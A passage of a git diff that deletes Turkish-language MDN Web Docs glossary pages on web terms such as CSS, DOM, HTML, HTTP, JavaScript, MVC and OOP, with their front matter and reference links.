deyişle, indirme işlemi diğer işlemleri durdurmasın ya da engellemesin. İndirme işleminin arka planda sürmesini, işlem bitince de bir fonksiyonu çağırmak istediğimizde, asenkron çalışma modu uygulanmalıdır. Arka planda bir işlem yürürken, diğer talepleri kabul etmeli ve sistemi bloke etmemelidir. 'Geri çağırma' işlemi tanımlayarak dosya okuma işleminin bittiği sinyalini ve ya diğer işlemlere geçiş işlemi sağlayabiliriz.</p> - -<h2 id="Learn_more"><strong>Learn more</strong></h2> - -<h3 id="General_knowledge"><strong>General knowledge</strong></h3> - -<ul> - <li>{{interwiki("wikipedia", "Callback_(computer_programming)", "Callback")}} on Wikipedia</li> -</ul> diff --git a/files/tr/glossary/css/index.html b/files/tr/glossary/css/index.html deleted file mode 100644 index 40f4c6ee7d..0000000000 --- a/files/tr/glossary/css/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: CSS -slug: Glossary/CSS -tags: - - CSS - - CodingScripting - - Glossary - - Komut Dosyası - - Sözlük - - Web - - 'l10n:priority' - - oncelik -translation_of: Glossary/CSS ---- -<p><span class="seoSummary"><strong>CSS</strong> (Cascading Style Sheets) is a declarative language that controls how webpages look in the {{glossary("browser")}}.</span> The browser applies CSS style declarations to selected elements to display them properly. A style declaration contains the properties and their values, which determine how a webpage looks.</p> - -<p>CSS is one of the three core Web technologies, along with {{Glossary("HTML")}} and {{Glossary("JavaScript")}}. CSS usually styles {{Glossary("Element","HTML elements")}}, but can be also used with other markup languages like {{Glossary("SVG")}} or {{Glossary("XML")}}.</p> - -<p>A CSS rule is a set of {{Glossary("CSS Property","properties")}} associated with a {{Glossary("CSS selector", "selector")}}. Here is an example that makes every HTML paragraph yellow against a black background:</p> - -<pre class="brush: css notranslate">/* The selector "p" indicates that all paragraphs in the document will be affected by that rule */ -p { - /* The "color" property defines the text color, in this case yellow. */ - color: yellow; - - /* The "background-color" property defines the background color, in this case black. */ - background-color: black -}</pre> - -<p>"Cascading" refers to the rules that govern how selectors are prioritized to change a page's appearance. This is a very important feature, since a complex website can have thousands of CSS rules.</p> - -<h2 id="Learn_more">Learn more</h2> - -<h3 id="General_knowledge">General knowledge</h3> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/Learn/CSS">Learn CSS</a></li> - <li>{{interwiki("wikipedia", "CSS")}} on Wikipedia</li> -</ul> - -<h3 id="Technical_reference">Technical reference</h3> - -<ul> - <li><a href="/en-US/docs/Web/CSS">The CSS documentation on MDN</a></li> - <li><a href="http://www.w3.org/Style/CSS/current-work" rel="external">The CSS Working Group current work</a></li> -</ul> diff --git a/files/tr/glossary/dom/index.html b/files/tr/glossary/dom/index.html deleted file mode 100644 index cef085d4c8..0000000000 --- a/files/tr/glossary/dom/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: DOM -slug: Glossary/DOM -tags: - - DOM - - DOM Standartı -translation_of: Glossary/DOM ---- -<p>Açılımı 'Document Object Model' olan DOM, herhangi bir {{glossary("HTML")}} yada {{glossary("XML")}} dökümanı ile etkileşebilen ve temsil edebilen bir {{glossary("API")}}'dir. DOM {{glossary("internet tarayıcısı","browser")}}'nda yüklenen bir döküman modelidir. Bu model, dökümanı bir düğüm ağacı şeklinde şemalandırır. Her düğüm bu dokümanın belli bir kısmını (Ör. {{Glossary("nesne","element")}}, metin dizeleri, yorumlar vb. ) temsil eder.</p> - -<p>DOM bir internet tarayıcısı üzerinde çalışan programların dökümandaki herhangi bir veriye ulaşmalarına ve etkileşimlerine izin verir. Bu nedenle de {{glossary("Web","Web")}} üzerinde en çok kullanılan {{Glossary("API")}}'lerden bir tanesidir. Kullanılan yazılım ile yeni düğümler yaratılabilir, düğümlerin yerleri , yada verileri değiştirilebilir.</p> - -<p>ilk tarayıcılarda DOM yoktu. Tarayıcıların {{Glossary("JavaScript")}}'i desteklemeye başlamaları ile hayata geldi. DOM'un erken dönemleri bazen 'DOM 0' olarak anılır. Bugün, WHATWG grubu bu standartı (<em>İngilizce</em>: DOM Living Standard) idame ettirmektedir. 'Canlı Standart' (The Living Standard) olarak nitelendirilir. Bunun nedeni ise, bu standartın devamlı yenileniyor ve her geçen gün gelişiyor olması nedeniyledir.</p> - -<h2 id="Daha_Fazla_Bilgi">Daha Fazla Bilgi</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li>Vikipedi'de {{interwiki("wikipedia", "Document_Object_Model", "The Document Object Model")}}</li> -</ul> - -<h3 id="Teknik_Bilgi">Teknik Bilgi</h3> - -<ul> - <li><a href="/en-US/docs/DOM">MDN'de DOM ile ilgili döküman</a></li> - <li><a href="https://dom.spec.whatwg.org/" rel="external">DOM Standartı</a></li> -</ul> diff --git a/files/tr/glossary/html/index.html b/files/tr/glossary/html/index.html deleted file mode 100644 index b1035cfd90..0000000000 --- a/files/tr/glossary/html/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: HTML -slug: Glossary/HTML -tags: - - HTML - - Temel Bilgiler -translation_of: Glossary/HTML ---- -<p>HTML (<em>İngilizce</em>: HyperText Markup Language) bir web sayfasının yapısını açıklayan tanımlayıcı bir dildir.</p> - -<h2 id="Kısa_Tarihi">Kısa Tarihi</h2> - -<p>Tim Berners-Lee, 1990 yılında, {{glossary("Web","Dünya Çapında Web")}} vizyonun bir parçası olarak, sonraki sene {{glossary("SGML")}}'den türeterek resmileştireceği {{glossary("hypertext")}} konseptini tanımladı. 1993 yılında {{glossary("IETF")}} resmi olarak HTML teknik tanımını yazmaya başladı ve bir kaç taslak yazıldıktan sonra 1995 yılında da 2.0 sürümü çıkardı. 1994 senesinde ise, Berners-Lee, bugün web dediğimiz bu ağı kurabilmek çabasıyla {{glossary("W3C")}}'yi kurdu. 1996 yılında, W3C HTML çalışmalarını devir aldı ve sonraki sene ise HTML 3.2 önerisini yayınladı. 1999 senesinde HTML 4.0 yayımlandı ve 2000 yılında {{glossary("ISO")}} standartı haline geldi.</p> - -<p>Yine o günlerde, W3C neredeyse {{glossary("XHTML")}}'in lehine HTML'den vaz geçiyordu ki, bu durum 2004 senesinde {{glossary("WHATWG")}} isimli bağımsız bir grubun oluşmasına neden oldu. WHATWG sayesinde {{glossary("HTML5")}} çalışmaları devam etti ve iki organizasyon 2008 senesinde ilk taslağı, 2014 senesinde ise bitirilmiş nihai standartı yayınladılar.</p> - -<h2 id="Kavram_ve_Sözdizimi">Kavram ve Sözdizimi</h2> - -<p>Bir HTML dökümanı {{glossary("elements","elemanlar")}} ile yapılandırılmış düz-metin bir dökümandır. Elemanlar birbirine eş açma ve kapama {{Glossary("tags","etiketler")}}'i tarafından çevrelenmiştirler. Her etiket köşeli parantez ile başlar ve sonlanır (<code><></code>). Az sayıda da araları boş ve hiç dize yazılamaz etiketler vardır, örnegin {{htmlelement("img")}}.</p> - -<p>HTML etiketlerini {{Glossary("attributes","nitelikler")}} ile yapılandırabilirsiniz. Nitelikler tarayıcıların verilen elemanın nasıl yorumlanması gerektiğini belirtirler.</p> - -<p><img alt="Detail of the structure of an HTML element" src="https://mdn.mozillademos.org/files/7659/anatomy-of-an-html-element.png" style="height: 181px; width: 609px;"></p> - -<p>Bir HTML dosyası genellikle <code>.htm</code> yada <code>.html</code> uzantısı ile kayıt edilir, {{Glossary("web server","Sunucu")}} tarafından sunulur, ve herhangi bir {{Glossary("Web browser","Tarayıcı")}} tarafından da görüntülenebilir.</p> - -<h2 id="Daha_Fazla_Bilgi">Daha Fazla Bilgi</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li>Vikipedi'de {{interwiki("wikipedia", "HTML", "HTML")}}</li> -</ul> - -<h3 id="HTML_Öğrenmek">HTML Öğrenmek</h3> - -<ul> - <li><a href="http://developer.mozilla.org/en-US/Learn/HTML">HTML Derslerimiz</a></li> - <li><a href="http://www.codecademy.com/en/tracks/web" rel="external">Codecademy.com'da Web Dersleri</a></li> -</ul> - -<h3 id="Teknik_Referans">Teknik Referans</h3> - -<ul> - <li><a href="/en-US/docs/Web/HTML">MDN'de HTML dökümantasyonu</a></li> - <li><a href="http://www.w3.org/TR/html5/" rel="external">HTML Belirtimi</a></li> -</ul> diff --git a/files/tr/glossary/http/index.html b/files/tr/glossary/http/index.html deleted file mode 100644 index 4512b476c8..0000000000 --- a/files/tr/glossary/http/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: HTTP -slug: Glossary/HTTP -tags: - - HTTP -translation_of: Glossary/HTTP ---- -<p><span class="tlid-translation translation" lang="tr">Hiper Metin Aktarım Protokolü (<strong>HTTP</strong>), </span>{{glossary("World Wide Web","Web")}}<span class="tlid-translation translation" lang="tr"> üzerinde, genellikle bir tarayıcı ile sunucu arasında insanların okuyabilmesi için hipermedya belgeleri aktarımını sağlayan temel ağ </span>{{glossary("protocol")}}<span class="tlid-translation translation" lang="tr"> 'üdür. HTTP tanımının şu anki sürümüne </span><a href="/en-US/docs/Glossary/HTTP_2">HTTP/2</a><span class="tlid-translation translation" lang="tr"> denilmektedir.</span></p> - -<p><span class="tlid-translation translation" lang="tr">Bir </span>{{glossary("URI")}}<span class="tlid-translation translation" lang="tr"> 'nin parçası olan "http://"ye "schema" denir ve genellikle bir adresin başında bulunur, örneğin "https://developer.mozilla.org"da tarayıcıya bu dokümanı HTTP protokolü kullanarak istemesini bildirmektedir. Buradaki https, HTTP protokolünün güvenli sürümünü {{glossary ("SSL")}} belirtir (aynı zamanda TLS de denir).</span></p> - -<p>HTTP metinseldir (tüm iletişim düz metin olarak yapılır) ve durumsuzdur (hiçbir iletişim önceki iletişimden haberdar değildir). Bu özellik insanların internetteki belgeleri (web sitelerini) okuyabilmesi için idealdir. Bunun yanında HTTP, sunucudan sunucuya {{glossary ("REST")}} web servisleri için veya web sitelerinin daha dinamik olması için yapılan {{glossary ("AJAX")}} istekleri için de kullanılabilir.</p> - -<div> -<h2 id="Diğer_Kaynaklar">Diğer Kaynaklar</h2> - -<ul> - <li><a href="/tr/docs/Web/HTTP">MDN'de HTTP</a></li> - <li>Wikipedia'da {{interwiki("wikipedia", "Hypertext Transfer Protocol", "HTTP")}}</li> -</ul> -</div> diff --git a/files/tr/glossary/index.html b/files/tr/glossary/index.html deleted file mode 100644 index 8e1c81312d..0000000000 --- a/files/tr/glossary/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Glossary -slug: Glossary -tags: - - Beginner - - Glossary - - Index - - Landing - - NeedsTranslation - - TopicStub -translation_of: Glossary ---- -<div style="width: 44%; float: right; margin: 4px 0 .5em 1em; line-height: 1.4;">{{LearnBox({"title":"Learn a new term:"})}}</div> - -<p class="summary" style="padding-top: 0; border-top-width: 0;"><span class="seoSummary">Web technologies contain long lists of jargon and abbreviations that are used in documentation and coding. This glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web.</span></p> - -<h2 id="Glossary_of_Terms"><strong>Glossary of Terms</strong></h2> - -<p>{{GlossaryList({"split": "h3", "css": "multiColumnList"})}}</p> - -<h2 id="Contribute_to_the_glossary">Contribute to the glossary</h2> - -<p>This glossary is a never ending work in progress. You can help improving it by <a href="/en-US/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">writing new entries</a> or by making the existing ones better. The easiest way to start is to hit the following link or to pick one of the suggested terms below.</p> - -<p><strong><a href="/en-US/docs/new?parent=4391">Add a new entry to the glossary</a></strong></p> - -<p>{{GlossaryList({"terms":["at-rule", "ALPN", "Attack", "Byte-Order Mark", "client", "Character set", "cryptosystem", "debug", "digital signature", "execution", "flex-direction", "GLSL", "Interface", "Library", "Memory management", "routers", "Self-Executing Anonymous Function", "Stylesheet", "Vector image"], "filter": "notdefined", "css": "multiColumnList"})}}</p> - -<p>If you want to know more on how to contribute to the glossary, check out <a href="/en-US/docs/MDN/Doc_status/Glossary">the glossary documentation status page</a>.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/MDN/Community">Join the MDN community</a></li> -</ul> - -<div class="hidden"> -<h2 id="Subnav">Subnav</h2> - -<section id="Quick_Links"> -<ol> - <li><strong><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a></strong>{{ListSubpagesForSidebar("/en-us/docs/Glossary", 1)}}</li> -</ol> -</section> -</div> diff --git a/files/tr/glossary/javascript/index.html b/files/tr/glossary/javascript/index.html deleted file mode 100644 index 870b64cbbe..0000000000 --- a/files/tr/glossary/javascript/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: JavaScript -slug: Glossary/JavaScript -tags: - - JavaScript - - Programlama - - Temel Bilgiler -translation_of: Glossary/JavaScript ---- -<p>JavaScript (JS) çoğunlukla kullanıcı bilgisayarı üzerinde, web sayfalarına dinamik işlev kazandırmak amaçlı kullanılan, ama aynı zamanda <a href="http://nodejs.org/" rel="external">Node.js</a> gibi paketler aracılığı ile ağ sunucuları üzerinde de çalışabilen bir programlama dilidir.</p> - -<p>JavaScript dilini <a href="https://en.wikipedia.org/wiki/Java_(programming_language)">Java programlama dili</a> ile karıştırmayın. Hem "Java", hem de "JavaScript" Oracle şirketinin gerek Amerika'da, gerekse diğer ülkelerde kayıtlı ticari markalarıdır. Fakat, bu iki programlama dilinin birbirinden farklı yazılım kuralları, anlamsal karşılıkları, ve kullanım amaçları vardır.</p> - -<p>Brendan Eich tarafından (o zamanlar Netscape şirketinin bir çalışanıyken) sunucu bilgisayarları üzerinde çalışmak üzere tasarlanmış olan JavaScript, kısa bir süre sonra, Eylül 1995'de, Netscape Navigator internet tarayıcısının 2.0 sürümünde yerini aldı. Yayınlandıktan hemen sonra büyük bir ilgi gördü ve {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} JavaScript desteğini Ağustos 1996 yılında JScript adı altında tanıttı.</p> - -<p>1996 senesinin Kasım ayında, Netscape şirketi JavaScript'i sektör içinde bir standart haline getirmek için ECMA International isimli bilişim ve iletişim standartları organizasyonu ile çalışmaya başladı. O zamandan günümüze, ECMA-262 teknik şartnamesi altında tanımlanıp, ECMAScript adı altında bir standart haline gelmiştir. Haziran 2017 tarihi itibariylede en yenisi olan 8'nci sürümü kullanıma sunulmuştur.</p> - -<p>JavaScript çoğunlukla internet tarayıcıları üzerinde kullanılır ve yazılımcılara internet sayfalarının yapılarını {{Glossary("DOM")}} aracılığı ile, sayfa içeriklerini {{Glossary("AJAX")}} ve {{Glossary("IndexedDB")}} kullanarak değiştirebilme, {{Glossary("canvas")}} kullanarak sayfa üzerinde grafik çizebilme, kullanıcı cihazları ile çeşitli {{Glossary("API","APIs")}}'ler kullanarak iletişim kurabilmek gibi daha nice imkanlar sunar. İnternet tarayacılarının son zamanlarda {{Glossary("API","APIs")}} uygulamalarında gerçekleştirdikleri gelişim ve performansa borçlu kalarak; JavaScript dünyanın en çok kullanılan dillerinden bir tanesidir.</p> - -<p>Bugün JavaScript, çok popüler olan ve internet tarayıcıları dışında, bir çok sistemde çalışabilen <a href="http://nodejs.org/" rel="external">Node.js</a> platformu ile sunucu bilgisayarlarına geri dönmüştür. <a href="http://nodejs.org/" rel="external">Node.js</a> size JavaScript dili ile yazdığınız programları hem bilgisayar üzerinde çalıştırma imkanı sunar, hemde {{Glossary("HTTP")}} ve {{Glossary("Web Sockets")}} teknolojilerini kullanarak tam sürüm sunucular geliştirmenizi sağlar.</p> - -<h2 id="Learn_more">Learn more</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li>Vikipedi'de {{interwiki("wikipedia", "JavaScript", "JavaScript")}}</li> -</ul> - -<h3 id="JavaScript'i_Öğrenmek">JavaScript'i Öğrenmek</h3> - -<ul> - <li>MDN'de {{Link("/en-US/docs/Web/JavaScript/Guide")}}</li> - <li><a href="http://nodeschool.io/#workshoppers">NodeSchool'un "javascripting" isimli atölyesi</a> (ingilizce)</li> - <li><a href="http://www.codecademy.com/tracks/javascript" rel="external">Codecademy.com'den JavaScript kursu</a> (ingilizce)</li> - <li><a href="http://ejohn.org/apps/learn/" rel="external">John Resig'den 'İleri Düzey JavaScript Öğrenmek</a>'</li> -</ul> - -<h3 id="Teknik_Referans">Teknik Referans</h3> - -<ul> - <li><a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" rel="external">ECMAScript standardı son sürümü</a></li> - <li>MDN üzerinde {{Link("/tr/docs/Web/JavaScript/reference")}}</li> - <li><a href="http://eloquentjavascript.net/" rel="external">The <em>Eloquent JavaScript</em> kitabı</a></li> -</ul> diff --git a/files/tr/glossary/mixin/index.html b/files/tr/glossary/mixin/index.html deleted file mode 100644 index 721dee4332..0000000000 --- a/files/tr/glossary/mixin/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Mixin -slug: Glossary/Mixin -translation_of: Glossary/Mixin ---- -<p><span class="seoSummary">Bir karışım, yöntemlerinin ve / veya özelliklerinin bir kısmının veya tümünün uygulanmadığı ve başka bir sınıfın veya arayüzün eksik uygulamaları sağlamasını gerektiren bir sınıf veya arayüzdür. Yeni sınıf veya arayüz daha sonra hem mixin'den hem de kendi kendini tanımladığı özellikleri ve yöntemleri içerir. Mixin veya mixini uygulayan arayüz veya sınıfta uygulanıp uygulanmadığına bakılmaksızın, tüm yöntemler ve özellikler tamamen aynı şekilde kullanılır.</span></p> - -<p><span class="seoSummary">Karışımların avantajı, birden fazla arayüzün aynı yöntemleri ve özellikleri içermesi gereken API'lerin tasarımını basitleştirmek için kullanılabilmeleridir.</span></p> - -<p><span class="seoSummary">Örneğin, WindowOrWorkerGlobalScope karışımı, hem Window hem de WorkerGlobalScope arayüzlerinde bulunması gereken yöntemleri ve özellikleri sağlamak için kullanılır. Karışım, bu arabirimlerin her ikisi tarafından uygulanır.</span></p> diff --git a/files/tr/glossary/mutable/index.html b/files/tr/glossary/mutable/index.html deleted file mode 100644 index f156962648..0000000000 --- a/files/tr/glossary/mutable/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Mutable -slug: Glossary/Mutable -translation_of: Glossary/Mutable ---- -<p><em>Mutable</em> değiştirilebilen bir değişken türüdür. {{glossary("JavaScript")}}'te, sadece {{Glossary("Object","objects")}} ve {{Glossary("Array","arrays")}} 'ler mutable'dır, {{Glossary("primitive", "primitive values")}} mutable değildir.</p> - -<p>(Bir değiken ad noktasına yeni bir değere dönüştürebilirsiniz, ancak önceki değer hala bellekte tutulur. Bu nedenle garbage collection ihtiyaç vardır.)</p> - -<p>Bir <strong>mutable object </strong>oluşturulduktan sonra durumu değiştirebilen nesnelerdir.</p> - -<p><strong>Immutables </strong>ise oluşturulduktan sonra durumu değiştirilemeyen nesnelerdir.</p> - -<p><strong>Strings ve Numbers </strong>'lar değiştirilemeyen, <strong>immutables</strong>'lardır. Bunu bir örnekle anlayalım:</p> - -<pre>var immutableString = "Hello"; - -// Yukarıdaki kodda, string değer alan yeni bir nesne oluşturduk. - -immutableString = immutableString + "World"; - -// Şimdi, mevcut değere "World" ekliyoruz. -</pre> - -<p>"immutableString" e bir string değer eklenmesiyle, aşağıdaki olaylar gerçekleşir:</p> - -<ol> - <li>"immutableString" mevcut değeri alınır</li> - <li>"World", "immutableString" mevcut değerine eklenir.</li> - <li>Ortaya çıkan değer daha sonra yeni bir bellek bloğuna tahsis edilir.</li> - <li>"immutableString" nesnesi şimdi yeni oluşturulmuş bellek alanına işaret ediyor</li> - <li>Önceden oluşturulan bellek alanı artık çöp toplama için kullanılabilir.</li> -</ol> - - - -<h2 id="Daha_fazla_bilgi_edin">Daha fazla bilgi edin</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li>{{Interwiki("wikipedia", "Immutable object")}} Wikipedia'da</li> -</ul> diff --git a/files/tr/glossary/mvc/index.html b/files/tr/glossary/mvc/index.html deleted file mode 100644 index 230a66f88f..0000000000 --- a/files/tr/glossary/mvc/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: MVC -slug: Glossary/MVC -tags: - - .NetCore MVC - - MVC - - MVC Giriş - - MVC Kullanımı - - Model View Controller Nedir -translation_of: Glossary/MVC ---- -<p><strong>MVC</strong> (Model-View-Controller) software design'de kullanıcı arayüzlerini, verileri ve kontrol mantığını uygulamak için yaygın olarak kullanılan bir modeldir. Yazılımın iş mantığı ve ekranı arasındaki ayrımı vurgular. Bu ayrım "separation of concerns", daha iyi bir işbölümü ve daha iyi bakım sağlar.MVVM (Model-View-Viewmodel), MVP (Model-View-Presenter) ve MVW (Model-View-Whatever) gibi diğer tasarım desenleri MVC'ye dayanmaktadır.</p> - -<p>MVC yazılım tasarım deseninin üç bölümü aşağıdaki gibi tanımlanabilir:</p> - -<ol> - <li>Model: Veri ve iş mantığını yönetir.</li> - <li>View: Düzeni ve ekranı işler.</li> - <li>Controller: Komutları modele yönlendirir ve parçaları görüntüler.</li> -</ol> - -<blockquote> -<p id="Model_View_Controller_örnek">Model View Controller örnek</p> -</blockquote> - -<p>Basit bir alışveriş listesi uygulaması düşünün. Tek istediğimiz, bu hafta satın almamız gereken her eşyanın adının, miktarının ve fiyatının bir listesi. Aşağıda, bu işlevlerin bir kısmını MVC kullanarak nasıl uygulayabileceğimizi açıklayacağız.</p> - -<p><img alt="Diagram to show the different parts of the mvc architecture." src="https://mdn.mozillademos.org/files/16042/model-view-controller-light-blue.png" style="height: 1500px; width: 2000px;"></p> - -<h3 id="Model">Model</h3> - -<p>Model, uygulamanın hangi verileri içermesi gerektiğini tanımlar. Bu verilerin durumu değişirse, model; genellikle görünümü (böylece ekran gerektiği gibi değişebilir) ve bazen denetleyiciyi (güncellenmiş View ı kontrol etmek için farklı mantık gerekiyorsa) bildirir.</p> - -<p>Alışveriş listesi uygulamamıza geri dönersek, Model liste öğelerinin hangi verileri içermesi gerektiğini -eşya, fiyat, vb. - ve listedeki hangi eşyaların zaten mevcut olduğunu belirleyecektir.</p> - -<h3 id="View">View</h3> - -<p>View, uygulama verilerinin nasıl görüntüleneceğini belirler.</p> - -<p>Alışveriş listesi uygulamamızda, görünüm, listenin kullanıcıya nasıl sunulduğunu belirleyecek ve Model den görüntülenecek verileri alacaktır.</p> - -<h3 id="Controller">Controller</h3> - -<p>Controller, uygulama kullanıcılarından gelen girdilere yanıt olarak modeli ve/veya görünümü güncelleyen mantık içerir.</p> - -<p>Örneğin, alışveriş listemizde ürün eklememize veya silmemize izin veren giriş formları ve butonları olabilir. Bu eylemler Model in güncellenmesini gerektirir, bu nedenle girdi Controller a gönderilir. Bu da Model i uygun şekilde yönetir ve daha sonra güncellenmiş verileri View a gönderir.</p> - -<p>Bununla birlikte, verileri farklı bir biçimde görüntülemek için View ı güncellemek isteyebilirsiniz, örneğin, eşya sırasını alfabetik olarak veya en düşük fiyattan en yüksek fiyata sıralayacak şekilde değiştirmek.Bu durumda Controller, Model i güncellemeye gerek kalmadan bunu doğrudan halledebilir.</p> - -<blockquote> -<h2 id="Webde_MVC">Web'de MVC </h2> -</blockquote> - -<p>Bir web geliştiricisi olarak, daha önce hiç bilinçli olarak kullanmasanız bile, bu model muhtemelen oldukça tanıdık olacaktır. Veri modeliniz muhtemelen bir çeşit veritabanında bulunur (MySQL gibi geleneksel bir sunucu tarafı veritabanı veya IndexedDB [en-US] gibi bir istemci tarafı çözümü olsun.) Uygulamanızın kontrol kodu muhtemelen HTML / JavaScript ile yazılmıştır ve kullanıcı arayüzünüz muhtemelen HTML/CSS/istediğinizherhangibirşey kullanılarak yazılmıştır. Bu MVC'ye çok benziyor, ancak MVC bu bileşenlerin daha katı bir desen izlemesini sağlıyor.</p> - -<p>Web'in ilk günlerinde, MVC mimarisi çoğunlukla formlar veya bağlantılar aracılığıyla güncellemeler isteyen istemci ile güncellenmiş görünümleri geri almak ve tarayıcıda görüntülemek için server-side(sunucu tarafı) da uygulanırdı.Ancak bu günlerde, client-side(istemci tarafı) veri depolarının ortaya çıkmasıyla daha fazla mantık istemciye itilir ve XMLHttpRequest gerektiğinde kısmi sayfa güncellemelerine izin verir.</p> - -<p>AngularJS ve Ember.js gibi Web çerçeveleri, biraz farklı şekillerde de olsa, bir MVC mimarisini uygular.</p> - -<blockquote> -<h2 id="Daha_fazla_bilgi_edinin"><strong>Daha fazla bilgi edinin</strong></h2> -</blockquote> - -<h3 id="Genel_bilgi">Genel bilgi</h3> - -<ul> - <li>{{interwiki("wikipedia", "Model–view–controller")}} Wikipedia'da.</li> -</ul> diff --git a/files/tr/glossary/object/index.html b/files/tr/glossary/object/index.html deleted file mode 100644 index 8f1d820655..0000000000 --- a/files/tr/glossary/object/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Nesne -slug: Glossary/Object -tags: - - nesne -translation_of: Glossary/Object -original_slug: Glossary/Nesne ---- -<p><a href="/tr/docs/Web/JavaScript/Reference/Global_Objects/Object">Nesne</a>, veri ve bu veriyle çalışmak için gerekli bilgileri içeren bir yapıya karşılık gelir. Nesneler bazen gerçek dünyadaki şeyler, örneğin yarış oyunundaki bir <code>araba</code> veya <code>harita</code> bile olabilir. {{glossary("JavaScript")}}, Java, C++, Python, ve Ruby {{glossary("NYP","nesne yönelimli programlama")}} dillerine örnektir.</p> - -<h2 id="Daha_fazla_bilgi_edin">Daha fazla bilgi edin</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li><a href="https://tr.wikipedia.org/wiki/Nesne_y%C3%B6nelimli_programlama">Nesne yönelimli programlama</a> - Vikipedi</li> - <li><a href="/tr/docs/Web/JavaScript/Reference">JavaScript referansında {{jsxref("Object")}}</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Objects">JavaScript'te nesne veri yapıları</a></li> -</ul> diff --git a/files/tr/glossary/oop/index.html b/files/tr/glossary/oop/index.html deleted file mode 100644 index 64754744bf..0000000000 --- a/files/tr/glossary/oop/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: NYP -slug: Glossary/OOP -translation_of: Glossary/OOP -original_slug: Glossary/NYP ---- -<p><strong>NYP </strong>(Nesne Yönelimli Programlama) verilerin nesneler içine kapsüllendiği ve içinde bulunan bileşenlerin nesneyi yönettiği programlama yaklaşımıdır.</p> - -<p>{{glossary("JavaScript")}} ağırlıklı olarak nesne yönelimlidir. <strong>Prototip</strong> temelli modeli örnek alır (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">sınıf temelli değildir</a>).</p> - -<h2 id="Daha_fazla_bilgi_edin">Daha fazla bilgi edin</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li><a href="https://tr.wikipedia.org/wiki/Nesne_y%C3%B6nelimli_programlama">Nesne yönelimli programlama</a> - Vikipedi</li> - <li><a href="https://developer.mozilla.org/tr/docs/%C3%96%C4%9Fren/JavaScript/Objeler">Nesneye yönelik JavaScript'e giriş</a></li> -</ul> diff --git a/files/tr/glossary/protocol/index.html b/files/tr/glossary/protocol/index.html deleted file mode 100644 index 7532fb38cf..0000000000 --- a/files/tr/glossary/protocol/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Protokol -slug: Glossary/Protocol -tags: - - Altyapı - - Protokol nedir - - Protokoller - - Sözlük -translation_of: Glossary/Protocol -original_slug: Glossary/Protokol ---- -<p id="Summary"><strong>Protoko</strong>l, verilerin bilgisayar içinde veya bilgisayarlar arasında nasıl alınıp verildiğini tanımlayan kurallar bütünüdür.</p> - -<h2 id="Daha_fazla_bilgi_edinin">Daha fazla bilgi edinin</h2> - -<h3 id="Genel_Bilgi">Genel Bilgi</h3> - -<ul> - <li>Vikipedi : {{Interwiki("wikipedia", "İletişim protokolü")}}</li> - <li><a href="http://www.rfc-editor.org/search/standards.php">RFC Resmi İnternet Protokol Standartları</a></li> -</ul> - -<p> </p> diff --git a/files/tr/glossary/ruby/index.html b/files/tr/glossary/ruby/index.html deleted file mode 100644 index a261a1d8ea..0000000000 --- a/files/tr/glossary/ruby/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Ruby -slug: Glossary/Ruby -translation_of: Glossary/Ruby ---- -<p><em>Ruby </em>açık kaynak bir programlama dilidir. {{glossary("world wide web","Web")}} ortamında Ruby, genellikle sunucu tarafında Ruby on Rails web çatısı ile web siteleri ve uygulamaları üretmek için kullanılır.</p> - -<h2 id="Daha_Fazla_Öğren">Daha Fazla Öğren</h2> - -<h3 id="Genel_bilgiler">Genel bilgiler</h3> - -<ul> - <li>Wikipedia'da <a href="https://tr.wikipedia.org/wiki/Ruby">Ruby</a></li> -</ul> - -<h3 id="Teknik_referanslar">Teknik referanslar</h3> - -<ul> - <li><a href="https://www.ruby-lang.org">Ruby resmi web sitesi</a></li> - <li><a href="http://rubyonrails.org/">Ruby On Rails resmi web sitesi</a></li> -</ul> diff --git a/files/tr/glossary/statement/index.html b/files/tr/glossary/statement/index.html deleted file mode 100644 index 0067e42681..0000000000 --- a/files/tr/glossary/statement/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Statement -slug: Glossary/Statement -translation_of: Glossary/Statement ---- -<p>Var deyimi, isteğe bağlı olarak onu bir değerle başlatarak işlev kapsamlı veya genel kapsamlı bir değişken bildirir.</p> - -<h2 id="Learn_more" style="line-height: 30px; font-size: 2.14285714285714rem;">Learn more</h2> - -<h3 id="General_knowledge">General knowledge</h3> - -<ul> - <li>{{Interwiki("wikipedia", "Statement (computer science)")}} on Wikipedia</li> -</ul> - -<h3 id="Technical_reference">Technical reference</h3> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements and declarations</a></li> -</ul> - -<ul> -</ul> diff --git a/files/tr/glossary/vendor_prefix/index.html b/files/tr/glossary/vendor_prefix/index.html deleted file mode 100644 index 175e02806c..0000000000 --- 